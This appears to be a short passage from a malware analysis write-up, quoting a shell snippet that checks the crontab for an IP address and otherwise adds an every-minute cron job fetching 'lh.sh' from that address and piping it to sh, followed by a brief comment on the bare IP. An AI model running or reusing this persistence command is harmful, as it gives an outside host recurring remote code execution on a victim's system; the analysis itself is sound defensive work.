crontab -l | grep -e "185.191.32.198" | grep -v grep if [ $? -eq 0 ]; then echo "cron good" else ( crontab -l 2>/dev/null echo "* * * * * $LDR [1]http://185.191.32.198/lh.sh | sh > /dev/null 2>&1" ) | crontab - fi Here's another bare ip address. Maybe the script is generated by a deployment system. References 1. http://185.191.32.198/lh.sh